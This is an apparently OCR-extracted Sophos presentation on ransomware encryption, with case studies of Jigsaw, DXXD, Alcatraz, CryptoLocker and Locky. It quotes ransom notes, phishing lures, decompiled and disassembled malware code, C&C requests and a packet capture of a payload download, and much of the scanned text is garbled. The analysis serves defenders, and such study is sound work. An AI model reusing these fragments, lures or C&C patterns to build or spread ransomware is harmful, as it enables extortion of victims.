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Ransomware

* Ransomware restricts access to or damages the computer for the purpose
of extorting money from the victim
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Types of Ransomware

* | ocker ransomware

* Crypto-ransomware
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I IMPORTANT INFORMATION 1!

All of your files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA_{cryptosystem)
http://en.wikipedia.orgfwiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.

To receive your private key follow one of the links:
1. http://mphtadhciSmrdlju.tor2web.ora/
2. http://mphtadhciSmrdlju.onion.to/

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: mphtadhciSmrdlju.oniony
4. Follow the instructions on the site.

I Your personal identification ID:
=~ H|F = | g
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ATTENTION!!

P
Location
IPS

Your PC Is blocked due to at least one of the reasons specified below.

You have been violating Copynght and Related Rights Law (Video, Music, Software) and illegally
using or distnbuting copyrighted content, thus infringing Article 1, Section 8, Clause 8, also
known as the Copynght of the Criminal Code of United States of Amenica.

Article I, Section 8, Clause 8 of the Cnminal Code provides for a fine of two to five hundred
minimal wages or a deprivation of liberty for two to eight years.

You have been viewing or distnbuting prohibited Pornographic content (Child Porno/Zoofilia and
etc). Thus violating article 202 of the Criminal Code of United States of America. Articie 202 of
the Criminal Code provides for a deprivation of liberty for four to twelve years.

Illegal access has been initiated from your PC without your knowledge or consent, your PC may
be infected by malware, thus you are violating the law On Neglectful Use of Personal Computer,
Article 210 of the Cnminal Code provides for a fine of up to $100,000 and/or a depnivation of
liberty for four to nine years.

Pursuant to the amendment to the Cniminal Code of United States of Amenica of May 28, 2011,

Video Recording

ON &
MoneyPak
Code: Sum:

[ floos  ~|

Pay MoneyPak




Crypto-ransomware

777, 7ev3n, 7h9r, 8lock8, ACCDFISA v2.0, Al-Namrood, Alcatraz, Alfa, Alma Locker, Alpha, AMBA, AngryDuck, Anubis,
Apocalypse, Apocalypse (New Variant), ApocalypseVM, ASN1 Encoder, Aura, AutoLocky, AxCrypter, BadBlock, Bandarchor,
BankAccountSummary, Bart, Bart v2.0, BitCrypt, BitCrypt 2.0, BitCryptor, BitStak, Black Feather, Black Shades, Blocatto,
Booyah, Brazilian Ransomware, BTCLocker, Bucbi, BuyUnlockCode, Cerber, Cerber 2.0, Cerber 3.0, Cerber 4.0 / 5.0,
CerberTear, Chimera, CHIP, CockBlocker, Coin Locker, CoinVault, Comrade Circle, Coverton, Cripton, Cryakl, CryFile,
CryLocker, CrypMic, CrypMic, Crypren, CryptO, CryptOLOcker, Crypt38, CryptFuck, Cryptinfinite, CryptoDefense,
CryptoFinancial, CryptoFortress, CryptoHasYou, CryptoHitman, CryptoJoker, CryptoLuck, CryptoMix, Crypton, CryptorBit,
CryptoRoger, CryptoShocker, CryptoTorLocker, CryptoWall 2.0, CryptoWall 3.0, CryptoWall 4.0, CryptoWire, CryptXXX,
CryptXXX 2.0, CryptXXX 3.0, CryptXXX 4.0, CryPy, CrySiS, CTB-Faker, CTB-Locker, Deadly, DEDCryptor, Dharma,
DirtyDecrypt, DMA Locker, DMA Locker 3.0, DMA Locker 4.0, Domino, Done, DXXD, ECLR Ransomware, EduCrypt, El
Polocker, EncrypTile, EncryptolJS, Encryptor RaaS, Enigma, Exotic, Fabiansomware, Fantom, FenixLocker, Flyper, FSOciety,
FuckSociety, GhostCrypt, Globe, Gomasom, HadesLocker, Heimdall, HelpDCFile, Herbst, Hi Buddy!, HollyCrypt, HolyCrypt,
Hucky, HydraCrypt, IFN643, iRansom, Ishtar, Jack.Pot, Jager, JapanlLocker, Jigsaw, Jigsaw (Updated), JobCrypter,
JuicyLemon, Karma, KawaiilLocker, KeRanEer, KeyBTC, KEYHolder, KillerLocker, KimcilWare, Kolobo, Kostya, Kozy.Jozy,
KratosCrypt, Kriptovor, KryptoLocker, LeChiffre, Lock93, LockLock, Locky, Lortok, LowLevel04, Magic, Maktub Locker,
MarsJoke, MirCop, MireWare, Mischa, Mobef, n1n1nl, NanolLocker, NCrypt, Negozl, Nemucod, Nemucod-7z, NMoreira,
Nuke, NullByte, ODCODC, OMG! Ransomcrypt, Ozozalocker, PadCrypt, PaySafeGen, PClock, PClock (Updated),
Philadelphia, PowerlLocky, PowerWare, PrincessLocker, PrincessLocker 2.0, Protected Ransomware, R980, RAA-SEP,
Radamant, Radamant v2.1, RansomCuck, RarVault, Razy, REKTLocker, RemindMe, RenLocker, Rokku, RotorCrypt, Russian
EDA2, SamSam, Sanction, Satana, ShellLocker, ShinolLocker, Shujin, Simple Encoder, Smrss32, SNSLocker, Sport,
Stampado, SuperCrypt, Surprise, SZFLocker, Team XRat, Telecrypt, TeslaCrypt 0.x, TeslaCrypt 2.x, TeslaCrypt 3.0,
TeslaCrypt 4.0, TowerWeb, ToxCrypt, Trojan.Encoder.6491, Troldesh / Shade, TrueCrypter, UCCU, UmbreCrypt,
UnblockUPC, Ungluk, Unknown Crypted, Unknown Lock, Unknown XTBL, Unlock92, Unlock92 2.0, USRO, Uyari,
VaultCrypt, VenisRansomware, VenusLocker, VindowsLocker, WildFire Locker, Winnix Cryptor, WinRarer, WonderCrypter,
XCrypt, Xorist, Xort, XRTN, XTP Locker 5.0, zCrypt, ZeroCrypt, ZimbraCryptor, Zyklon

SOPHOS https://id-ransomware.malwarehunterteam.com
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Symmetric Encryption
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Symmetric Encryption

* The same key is used for encryption and decryption

* Most popular encryption methods:
o AES-128, AES-256

RCA Encryptlg
o Custom encryptions
> =
* Disadvantage:
o Key management Decryption
A
~ >
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Symmetric Encryption

* No C&C communication
* Key is hard-coded in the code

* Key is generated on the victim’s computer and stored somewhere
o In the encrypted files
o In a separate file
o In the registry

* Disadvantage (or advantage):
o Key can be found easily, decryption is possible

* Key is never saved

SOPHOS 9



Symmetric Encryption - Jigsaw

private static bool EncryptFile(string path, string encryptionExtension)

1

try
1

if (Config.StartMode != Config.StartModeType.Debug && (path.StartsWith{Config.WorkFolderPath, StringComparison.InvariantCulture)

bool result = false;
return result;

¥
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
1
aesCryptoServiceProvider.Key = Convert.FromBasegdString("OolsAwkf24cIcQolDABODe=="");
aesCryptoServiceProvider.IV = new byte[]
1
@,
1,
e,
3,
3
3,
@,
1,
@,
8,
2,
e,
B,
7,
B,
@
}s 1 file will be deleted.
Locker.EncryptFile(aesCryptoServiceProvider, path, path + encryptionExtension}; | Veweoopediks |
1 FlSEES1_ESEE_EE_lSEEE_EEE_EEEEE_Ef Bitcoin here:
-

SOPHOS




Dear owner, bad news!!!!

vour SERVER [hacked], and file's [ENCRYPTED]!
If you need back files and recommendation’s,

Symmetric Encryption - DXXD fo rorect yoar £11e'S “and ST arice o e-nai

[#*] rep_stosd@tuta.io

vy Read this please:
M . .
If you tr%1ng manually to restore files,
0000000000401 43E :
or use other files decryptor
0000080888848143E loc_4B143E: ; lpOverlapped make a backup a'Ir‘ead},r ecnr‘ypted files
0000000000401 43E 6A B9 push a Thanks )
g0000000888481448 BD BS AB FD FF FF lea eax, [ebp+HumberOfBytesRead] )
0000000000401446 50 push eax ; lpMumbevoOfBytesRpad - |  TTTTTTTTTTTTTTTTTOTTTTTTOTOmTTTTTmmOmmmmmmmE I
gg0geagvaLB14LY FF BS 9C FD FF FF push [ebp+nHumberO0fBytesToRead] ; nHumberDFBytesToRead \
000O0A0A0A4O1L4D FF BS 94 FD FF FF push [ebp+1pBuffer] ; lpBuffer And so, write me.
HePEAERRARLA1453 FF 75 Fu push [ebp+hFile] ; hFile S0rry.
g0B00000ABLE1LSGs EE DS B4 OO0 A9 call ReadFile III."*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc'*:fc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc"sfc'QQQQQQQQQQQQQQQQQQQQQQQI“
0000080088481 458 BB 9D AB FD FF FF mou ebx, [ebp+HumberOfBytesRead]
go00000000BL4B1461 B3 FE8 FF cmp eax, BFFFFFFFFh
geeenaBeaeBLATUG6Y, 74 B8 jz short loc_uB146E
Y
FEE
0000000000401466 3B 9D 9C FD FF FF cmp ebx, [ebp+nHumberOfBytesToRead]
geeenaeaeBLA1UGE 74 B2 jz short loc_4B1478
Yy Y
FEIE
0000000000401 46E gooeoo0a0aLe1470
ge800aaABBL A1 4GE loc_4B146E: LTSS S e TS LY s R ] loc_4@1478:
0000000000401 46E EB 42 jmp short loc_4814B2| (000000000048 1470 FF BS 9C FD FF FF push [ebp+nHumber0fBytesToRead]
gosenaeevBLA1476 FF BS 94 FD FF FF push [ebp+1pBuffer]
go0e000000LO147C EB CO B2 60 00 call Encryption
ge8e0aREBBLATLE1 6A 48 push [0} ; dubovelethod
0000000000401483 60 00 push a ; lpbistanceToHoveHigh
0000000080481 485 6A B4 push L ; 1DistanceToMove
0000000000401 487 FF 75 FL4 push [ebp+hFile] ; hFile
geeeAaeBBBLA14EA EB BF B4 B8 B0 call SetFilePointer
000000000040148F 60 00 push a ; lpOverlapped
g0000800888481491 BD BS AB FD FF FF lea eax, [ebp+HumberOfBytesRead]
00000000004014%7 50 push eax ; lpHumberOfBytesWritten
00000800888481498 FF B 9C FD FF FF push [ebp+nHumber0fBytesToRead] ; nHumberOFBytesToWrite
0000000000401 49E FF BS 94 FD FF FF push [ebp+1pBuffer] ; 1pBuffer
geeeoaeaeBLA1L4ALY FF 75 FL4 push [ebp+hFile] ; hFile
g0000000004014A7 EB AE B4 60 B0 call WriteFile
geeenaeeeBLA1LAC FF B85 34 38 48 68 inc dword_483834
|
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Symmetric Encryption - DXXD

[l i =
gagaoaeeaBLBe17
00000000004017 41
geaoeeneeaLa1741 ; Attributes: bp-based frame
00000000004017 41 ° .
aepeAaRaABLA17 1 Encryption proc near — .
AOO0OE0A00L 1741 o P Key |S h a rd COd ed . OXA7 D46C76
gagaoaeeaBLBe17 arg_8= dword ptr B8
00000000004017 41 arg_4= dword ptr 6Ch
gagaoaeeaBLBe17 . . N
soosmmanamrir s * Simple algorithm using xor and
fageeaeaeaLB1742 8B EC mov ebp, esp
0opoBAABOOLA174,4 BB 4D BC mov ecx, [ebp+arg_ 4] .
A0ARAAEAAA4A1747 C1 E9 @2 shr ecx, 2 rOtatlon
foppOOOAAALA174A 8B 15 19 30 40 60 mou edx, dword_403019 ; BAFD4GCFOh
AePOAABABRLA1750 8B 75 08 mou esi, [ebp+arg_@]
00000000004 B1753 8B FE mou edi, esi
vy
[l e =
0e0a0a0eRaBLB1755
00000000004 A1755 loc_481755:
gegeeaeaeaLa1755 AbD lodsd
00000000004 B1756 OF C8 bswap eax
gageoaeaeaye1758 33 C2 xor eax, edx
fe0eAOOABA4A175A C1 C8 63 ror eax, 3
gageeaeaea4a1750 AB stosd
00000000004 B175E C1 C2 65 rol ed=, &
gageoaeaeaye1761 E2 F2 loop loc_4@81755
T
Y
00000000004 A1763 C9 leave
gagaoaeeeBLB1704 C2 B8 B8 retn 8
00000000004 A175L Encryption endp
0e0A0A0eReBLB1704

SOPHOS 12




Symmetric Encryption

* Communication with the C&C server

* Key is generated on the victim’s computer and sent to the C&C server

* Disadvantage:

o Key might not reach the C&C server
o Files cannot be recovered

SOPHOS 13




Symmetric Encryption - Alcatraz

FIZE
BAAAARBAABAALA2BD A
00000000004 02BD O loc_A402BD0: ; duwFlags
AeABAARAAAALA2BDA 6A B0 push a
00p0BAABOOLAZEBD2 BB 55 18 mov edx, [ebp+duDatalen]
ggaoean0ean4e2BDS 52 push edx ; duDatalen
0000000000402BDG 8B 45 14 mou eax, [ebp+pbData]
gepoean0ean4e2BD? 50 push eax s pbData
0000000000402BDA 8B 4D FC mou ecx, [ebp+phHash]
geaoean0eenLe2BDD 51 push ecx 5 hHash
00000000004 O2BDE FF 15 08 50 41 060 call ds:CryptHashData
AeABAARAAAALA2BEL 85 CA test eax, eax
00000000004 02BEG 75 OE jnz short loc_402BF6
il e =]
HEHHAERABRBRLA2EBF 6
00000000004 02BF 6 loc_L4082BF6:
0000000080482BF6 BB 45 B8 mou eax, [ebp+phKey]
0000000000402BFY 58 push eax ; phKey
HHHHHBBBBEBRLE2BFA 6A 81 push CRYPT_EXPORTABLE ; dwFlags
0000000000402BFC 8B 4D FC mou eck, [ebp+phHash]
0000080888482BFF 51 push ecx ; hBaseData
000000000 0O402C00 8B 55 10 mou edx, [ebp+Algid] ; CALG_AES_256
HeHEAREAARLA2CAT 52 push edx ; Algid
0000000000402C04 BE 45 OC mou eax, [ebp+hProv]
geggeagvagLB2Cce7 58 push eax ; hProwv
00000000004 02C08 FF 15 24 50 41 608 call ds:CryptheriveKey
HHAHAREAARLA2CHBE 85 CO test eax, eax
fopeO00e0EA0EENE2C10 75 BE jnz short loc_402C20

SOPHOS

apeeaAAAEBLA15CE loc_4@815C8: ; dwFlags
foooopo0BB4B15CE 6A 06 push a
aeeeAAABEeBLAA1SC2 8D 55 FC lea edx, [ebp+pbData] ; CRYPT_HMODE_CBC
foooopO0BB4A15C5 52 push edx ; pbData
aeeeaAAEeBLAA1SCE 6A B4 push KP_HODE ; dwParam
00p0BAOABAOLA1SCE BB 45 68 mov eax, [ebp+phKey]
gep0ea0ea04B15CE BB B8 mov ecx, [eax]
oopeBeOBeALAISCD 51 push BCX ; hKey
aeeeaAAEeBLA15CE FF 15 1C 58 41 86 call ds:CryptSetKeyParam
goooooooeB4815DL 85 CO test eax, eax
gegesapAeBsA15D6 75 31 jnz short loc_4B81689
M=
foooeoNO0B4B1609
Ae0eAAAABBLA16 A9 loc_481689: ; dwFlags
foooopo0BB4B1609 G6A 06 push a
Ae00AAABBBLAA166E 8D 55 F8 lea edx, [ebp+pdwDatalen]
00A0BAOBOALA160E 52 push edx ; pduDatalen
A0000AAAEBLAA168F BD 45 F4 lea eax, [ebp+var_C]
goppBAABAOLA1612 5B push eax ; pbData
aeeeAAAABEBLA1613 6A 68 push KP_BLOCKLEH ; dwParam
0opoBAABOOLA1615 BB 4D B8 mov ecx, [ebp+phKey]
gepeaAAABEBLA1618 BB 11 mowv edx, [ecx]
foooopooeB4A161A 52 push edx ; hKey
gepeaanAeB4A161B FF 15 18 58 41 86 call ds:CryptGetKeyParam
foooopooeB4B1621 85 CO test eax, eax
geeeaAAEBEBLA1623 75 2E jnz short loc_481653
III
Y
FIZIE
000000000804 01653
ge8e0ABAARBLA1653 loc_4B1653: ; duFlags
g000000000401653 6A B0 push a
g0000000808481655 BB 45 18 mou eax, [ebp+arg_8]
0000000000401658 50 push eax ; pbData
ge8eRABAEBLA1659 6A B1 push KP_1IU ; dwParam
0000000000401658 BE 4D 08 mou ecx, [ebp+phKey]
geBenaeeeBLA165E BB 11 mov edx, [ecx]
gogeoooevBOLA1660 52 push edx ; hKey
gesepaeeevLA1661 FF 15 1C 58 41 @68 call ds:CryptSetKeyParam
gogeoooaveLA1667 85 CO test eax, eax
geeenaeeeBLA1669 75 2E jnz short loc_u4B1699




Symmetric Encryption - Alcatraz

L J
M
0000080 0BBLAZE2C 68 08 BA 80 60 push WIHHTTP_FLAG_SECURE ; dwFlags
0000000000402831 6A 00 push a ; PpwszAcceptTypes
0000000080482833 6A B8 push a8 ; pwszReferrer
0000000000402835 6A 00 push a ; puszUersion
g000000080482837 BB 4D EB mou ecx, [ebp+puszObjectHame]
000000000040283A0 51 push BCx ; puszObjectHame
00000800004 AZE3E 68 4B C3 41 60 push offset aGet_8 ; UGET™
0000000000402840 BB 55 EC mou edx, [ebp+hConnect]
g00008008808482843 52 push edx ; hConnect
go00000000BL40284Y FF 15 A8 51 41 68 call ds:WinHttpOpenRequest
000000008848284A B9 45 FC ov [ebp+hRequest], eax

s

M=

fo0oe0n000B4B284D

A0000AAABBYLA284D loc_48284D: ; dwhodifiers

foooooooBoB46284D 58 00 6O 00 28 push WINHTTP_ADDRE(Q_FLAG_ADD

gepoeaneanL 823852 6A 1E push 1Eh ; duwHeadersLength

00p0BOOBOALAZ2B5YL 68 58 C3 41 68 push offset aHostAaZstutugx ; "Host:-aaZstutugeo6muSy_onion.-to™

g8p0ea00A04 823859 BB 45 FC mov eax, [ebp+hRequest]

00pABAOBAOLAZEB5C SO push eax ; hRequest

aeeeaAAAaBLA285D FF 15 A4 51 41 86 call ds:WinHttpAddRequestHeaders

00000A0BAOLAZ2EG63 B9 45 FL4 mov [ebp+var_C], eax

geeeaAAEeBL4AZ2866 83 7D FC 68 cmp [ebp+hRequest], @

fooooopoooB4B286A T4 19 jz short loc_4682885

Y

M
0080000 BBBLAZEGE 6A B0 push [0} ; duContext
00000000004 0286E 6A B0 push a ; duTotallength
0000000080482878 6A B8 push a8 ; dwOptionallLength
0000000000L402872 6A B0 push a ; lpOptional
g000000080482874 6A B8 push a8 ; dwHeadersLength
0000000000402876 6A 00 push a ; lpszHeaders
0000000080482878 BB 4D FC mou ecx, [ebp+hRequest]
0000000000402878 51 push BCx ; hRequest
ge800a0AABBLAZE7C FF 15 AB 51 41 @68 call ds:WinHttpSendRequest
0000000000402882 BD 45 FL4 mou [ebp+uar_C], eax
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Symmetric Encryption - Alcatraz

/index.php?ip=xxx.xxx.xxX.xxx&id=TEGcVtQzfsowfNIv&botid=AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA&uUsername=user&key=TEGcVtQzfsowfNIvVwIVXID
ZRFRhHTLMajFwygiFicjktklfdrsLIUcKwcUFuyDyiFshTihUinHCKKfppJegnondzShw

bEcdSGsVwpdXJgCLTOogjTRjrHgthEwjSmJodRLnNRLtKvvigWEHR&o0s=Windows 7
&count=80

GET fraw HTTP/1.1 +. KN.W...D¥.V.....
Cache-Control: no-cache O0......L.Z./%.|PLNMi.<.;.6
Connection: KEEFI—.E'.].i‘u"E ~coclBocooc 3B i aaaa EL..{|...
Pragma: no-cache [Jbo8oofo oo hdlotin o oo booooliocd Baaooooocooonooc dfos  dibedio oBolloiléesEe sEaL e ooT ilbodWbcooBoo0ocoonaoonoc @....08%.d...71.=.
User-Agent: Adobefcrobat Update/21.8 (-.Z./.K....8.udR.h
Host: www.myexternalip.com Inhe.F...t.}.fa....IN.o. N....T.8q..1.....5. . y.:..k2B.=. . .p.... % .. tK. +&. . T[-....k.H.t..,.

Seeun| 3Seufeneen DUR..ouen...-B. 8. <.M..q#86%..D. . ...I"r.{H......_...(@..0...2.02d.=.8E7C..U.....I.....1>.E..5..P.
HTTP/1.1 28@ 0K ;R - IR SRR | [P N [P DR R TR R (R PR - AR~ N VY SR -/ ) SRRy DR 5.3 Y, ; -
Server: nginxfl_l@_z Mk..M..U8..... o | i L R
Date: Wed, 23 Nov 2016 15:@83:39 GMT Fo. Xewunnn flo....... JooPoo e H;.'94...)q..9...
Content-Type: text/plain B =01 .. (.. ]
Content-Length: 13 A T VR R J.o.. ) S - Z56.... | ML 20.d 20 €T c7{n. oL PO hu=0<C* . L un
Connection: keep-alive $..Xj.q.EeuyuunnasFuuinns |uwuuge..N.Z=.48;. "x. Wv(ol<.r. . Uouu. B....C%....7.BN..{00....5,Z....B

Expires: Wed, 23 Nov 20816 15:83:38 GMT
Cache-Control: no-cache

SOPHOS
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Asymmetric Encryption
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Asymmetric Encryption

* Public key is used for encryption

* Private key is used for decryption

* Most popular encryption methods:

o RSA-1024, RSA-2048

* Disadvantage:
o Slow

SOPHOS

Encryption
AN

> %
Decryption
Q,

~ >
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Asymmetric Encryption - CrypVault

* No C&C communication is needed
* Public key is hard-coded in the code

* Example: CrypVault
o Hard-coded global RSA public key
o Another RSA-1024 key pair is generated
- Public key is used for file encryption
- Private key is saved in VAULT.key encrypted with the global RSA public key

Wyke, J., Ajjan, A. The Current State of Ransomware. Sophos, 2015.
SOPHOS
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Asymmetric Encryption

* Public/private key pair is generated on the attacker’s system
* Public key is sent by the C&C server

* Disadvantage (or advantage):
o Key might never arrive

* Example: CryptoLocker

Destructive malware
“CryptoLocker” on the loose —
here’s what to do

Ducklin P. Destructive malware “CryptoLocker” on the loose — here’s what to do. nakedsecurity.sophos.com, 2013.
SOPHOS
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Asymmetric Encryption - CryptoLocker

1. Installsitself into Documents and Settings folder, using a randomly-generated name, and adds itself to
the list of programs in the registry that Windows loads automatically at every logon.

2. It produces a list of random-looking server names in the domains .biz, .co.uk, .com, .info, .net, .org and
.ru.

aygmlwlnkepy .net dbhsvewrmgouso.net edvauduidkkr.info
jfitdumikvsuxf.org  mmkurubxfvemho.co.uk  mguegyulgatiyd.ru
gaxkrgbeggkirbj.ru  sbkepdmljweg.com weidxyiagndeca.co.uk

Sample domain names generated by CryptoLocker

3. It tries to make a web connection to each of these server names in turn, trying one each second until it
finds one that responds.

Once it has found a server that it can reach, it uploads a small file (“CryptoLocker ID”).

5. The server then generates an RSA-2048 public-private key pair unique to the ID, and sends the public key
part back to the computer.

6. The malware on the computer uses this public key to encrypt all the files it can find that match a list of
extensions.

SOPHOS 21




Asymmetric Encryption

* Public/private key pair is generated on the victim’s computer
* Private key is sent to the C&C server

* Disadvantage:

o Key might not reach the C&C server
o Files cannot be recovered

* Example: CryptoDefense

o Uses the Windows CryptoAPI to generate the key pair on the user’s system
o Encrypts the files with the public key

o Sends the private key to the C&C server

SOPHOS
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Asymmetric Encryption - CryptoDefense

* Calls CryptAcquireContext

BOOL WINAPI CrypthAcquireContext(
_Out_ HCRYPTPROV *phProv,
_In_ LPCTSTR pszContainer,
_In_ LPCTSTR pszProvider,
_In_ DWORD dwProvType,
_In_  DWORD dwFlags

H
* CRYPT _VERIFYCONTEXT Flag:

For file-based CSPs, when this flag is set, the pszContainer parameter must
be set to NULL. The application has no access to the persisted private keys
of public/private key pairs. When this flag is set, temporary public/private
key pairs can be created, but they are not persisted.

* This flag is not set > the private key is stored on the victim’s computer

Balmas, Y., Herzog, B. Great Crypto Failures. Virus Bulletin Conference, 2016.
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Hybrid Encryption

SOPHOS



Hybrid Encryption

* Uses symmetric and asymmetric algorithms as well

* Most popular methods:

o AES + RSA Encryption Decryption
o RC4 + RSA &\
o AES + ECC > Q A, AN
Q¥ 2N
QN > @, ~ >
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Locky
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Locky — Infection Vector

* Email attachment
E-, thanks for working with us.

We are sending the contract that we agreed on last week.
Please read through the attachment and return us the =scan of the signed contract.

Dear Customer

King regards,
Lucille Rice
Executive Director Sales Lccount Management Training Per]
g-mail: Rice.6256@8vyvoursampleblog. com

Flease find your documents attached.

If you have any guestions please reply by email or contact me on 01443 238787.

Find regards

Hatalie Pywell

ezar (D **This email has generated from an automated system*#®
Thi=z email ha=s been sent via the Fusemail mail filtering service provided by Pro-Copy Limitec

You are receiving this email because the company has as=signed yvou as part of the approval team.
Plea=ze review the attached propo=al form and make your approval deci=ion.

If vou have any problem regarding the submission, please contact Veronica.
Best regards,

Dolore=s S5tein
Deputy Director of Finance

SOPHOS




Locky — Infection Vector

* \Word document * Zip file containing:
JScript, Windows Script File, VBScript

Tmes NewRoman |14~ | A0 &7 (| &5) 32 - IS - S5 iR R | gambcel AaBb( | AaBbCeI| AaBbC

J B I U -abe x x' Aa- Wy . .ﬁ' EEIEE I:E'I Oy = o Emphasis Heading 1 T Mermal Strang Grganize - ._ GPEH - S'_"."HC - Print E-rriail
Clipboard = Fomnt ] Paragraph = Styles
i@ Security Waming Macros have been disabled, Options... Y Favorites Documents ||braw
Bl Desktop Message
4. Downloads
| Recent Places
Enable macro 1f the data encoding 15 imcorrect - ) )
. Libraries
INVFC, uloNm, . —6yD-CXHAEK Y™ -] Documents .
JeirPs ISt b xt 2%y FUBR THCO-AN+ BLLF<X [ 1Cus0O>~"- N _ _ rk offline Mew folder
io(mZSrA S 0 -HTuuh"h'.»KEESI]m @' Music FCEHC;;'::'E?
bX3x%02 e ) A dcLglr  BON1Cfriyin XTHEY INKe€BVO : orm J5 :
ul HAAEBH eC 21V 25— SLi%umfml"n: k| Pictures ycuments ||brary
i Bk T TS = e W T b, . e B hraen i T e T ™ E Videos ssage

4 Downloads

;
=) Recent Places

= Libraries
3 Docurmnents
J’-‘ Music proposal form
& Pictures 01AA3E pdfwsf

H videos
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Locky — infection

* wscript.exe connects to C&C server and downloads payload

Filter: |tcp,stream eq 0 | Expression.,, Clear Save
No, Time Source Deestination Protocol  'Length  'Info Follow TCP Stream Elﬁl
17 23.718412010.69.146.91 84.73.148. 217 TCP 62 ansysImd > http [SYN] Seq=0 Win=64240 Len=0 MS3=1460 SACK_H —
18 23.8352500 04, 73,146,217 10.69,146,91 TCP 60 http » ansysimd [SyN, ack] seg=0 ack=1 win=14600 Len=0 mMssq [Stream Content
15 23.8352960 10.69.146. 91 Gd._73.148. 217 TCP 54 ansysimd > http [Ack] Seg=l Ack=1l win=84800 Len=0 GET /7845gf7esz]szA—ekzF]szA HTTR/1.1
20 23.835577010, 69,146, 21 O4.73, 148,217 HTTP 277 GET /7845gf7ekzfizhva=ekzfizhbva HTTP/1.1 ﬁii:g‘é L;rrqguage =
21 23.952557094.73.148. 217 10.69.146. 91 TCP 60 http > ansysimd [ACk] Seq=l Ack=224 win=13544 Len=0 y
22 23.9586540 04.73.148. 217 10.69.146.91 TCP 1494 [TCP segment of a reassembled Pou] ,{zggpﬁggggodﬂggﬂggf‘;,Odg,%%"g@gtme' 15T 2 HE 0 IEgwE I HTSE0)
23 23.9588890 94.73.148.217 10.69.146. 91 TCP 1494 [TCP segment of a reassembled PODU] HosT: mthntelskom. com
24 23.058012010, 69,146, 91 o4.73.148.217 TCP 54 ansysTmd > http [ack] Segq=224 ack=2881 win=84800 Len=0 Connection: Keep-alive
25 23.9591140 94, 73.148. 217 10.69.146. 91 TCP 1494 [TCP segment of a reassembled PODU]
26 23.9551500 10. 63,146, 51 54.73.148.217 TcP 54 ansysImd > http [ACK] seq=224 ack=4321 win=64800 Len=0 322/1#12021  —————
27 23.9591700 94, 73.148. 217 10. 69,146,591 TCP 1494 [TCP segment of a reassembled PDU] SErvEr ! Apache
28 23.09591780 94, 73.148.217 10.69,146, 91 TCP 1494 [TCP segment of a reassembled pPoul Last-Modified: Tue, 08 Wov 2016 20:18:56 GMT
29 23.9591950 10, 60,146, 91 84.73.148.217 TCP 54 ansysimd > http [ACK] Seq=224 Ack=7201 wWin=64800 Len=0 ETag: "870217-3a000-540cfdo8f2c00”
30 23. 0617250 B4, 73,148, 217 10,659,146, 91 TCP 1494 [TCP segment of a reassembled PDU] ésﬁigﬁiizﬁﬁﬁ-mﬁ%es
31 23.961764010.69.146. 91 94.73.148.217 TCP 54 ansysimd > http [ACK] Seq=224 Ack=8641 win=64800 Len=0 e Emns - e leed
32 23.96186590 94, 73,148, 217 10.6%.146, 91 TCP 1494 [TCP segment of a reassembled PDU] Content-Type: Text/plain
33 23.9618810 94, 73.148. 217 10.69.146. 91 TCP 1494 [TCP segment of a reassembled PODU] ) )
34 23.961901010. 69,146, 91 94.73.148,217 TCP 54 ansysImd » http [ACk] Seq=224 Ack=11521 Win=64800 Len=0 -(-Ggumolbn--zx- SPkjemMu! ZBvKghnBro63umayh2 IMGZX05Pk jemuazey. ghnlm. 83. d. x. 3. . P. OY p..
35 23.9635180 94, 73.148. 217 10.69.145. 91 TCP 1494 [TCP segment of a reassembled PODU] . s, PRSI x]<4 phE. | EZEvthnw Acby—..onr. b 8L
36 23.9635450 10, 65,146, 31 o4, 73,148,217 TCP 54 ansysTmd > http [Ack] Seg=224 ack=12961 win=63360 Len=0 k( |a%. Zy—. . .... T, .81
37 23.9636110 94.73.148. 217 10.69.145. 91 TCP 1494 [TCP segment of a reassembled PODU] Ov Kk( SPO. Sy
38 23.0820600 10, 65,146, 01 04.73,148, 217 TCP 54 ansysimd > http [ACK] Seq=224 Ack=14401 Win=64800 Len=0 bC.. 3. b3, ]
40 24.0760920 04. 73,148, 217 10.69.146, 01 TcP 1494 [TCP secment of z reassembled POUT Z;fg\p’tj2;5;02\3&&%55éﬁﬁ;ﬁf%ﬂ:g%ggk?Eaﬁggi%ggﬁaﬁéggﬁoam“ML'a]AVth”Bb°63em°]bz“"q
41 24.0761160 94, 73,148,217 10.69,146,91 TCP 1494 [TCP segment of a reassembled pPoul %1Igozx05Pk j eMUazEvkghnBr 063 umoy. 117
42 24.076138010.689.146. 91 o4.73.148. 217 TCP 54 ansysimd > http [ACK] Seqg=224 Ack=17281 Win=64800 Len=0 Zx05Pk j eMUaZBvKghnBr 063 umoy b2 IMoZx0SPk § eMUazZBvKghnBE 6. tmoy b2 IMoZX0SPk j eMUazBvighnd .
4% 24.0775360 04, 73,148, 217 10,650,146, 01 TCP 1404 [TCP segment of a reassembled Poul NGUIMOZ . OIMAZXOSSKLMUAZEVKGNNEr 08. UMW, Fy 5. 2. MPK] UNUaZBvKwknBr 083umovh2Imezs. |4
44 24.077571010.69.146. 91 94.73.148.217 TCP 54 ansysimd > http [ACK] Seqe-224 AcK=18721 Win=54800 Len=0 Z\M#Oﬁ‘z’mkgf‘(gggg?”ﬁﬁggéﬂ%ﬁggﬁ‘ééﬂmc’#' ghn. 7063%n0Y " 2IM! Y05Pk jeMUazey. gh. 1
45 24.0777210 54, 73,148,217 10.69,146, 01 TCP 1494 [TCP segment of a reassembled PoU] SN e e A e Rt v e P T e e T S T e e ez
45 240810700 94.73.148. 217 10.69.145. 91 TCP 1494 [TCP segment of a reassembled PODU] . Entire conversation (238036 bytes) 3
47 240811060 10, 6%, 144, 51 o4, 73,148,217 TCP 54 ansysTmd > http [ack] Seg=224 ack=21601 win=64800 Len=0
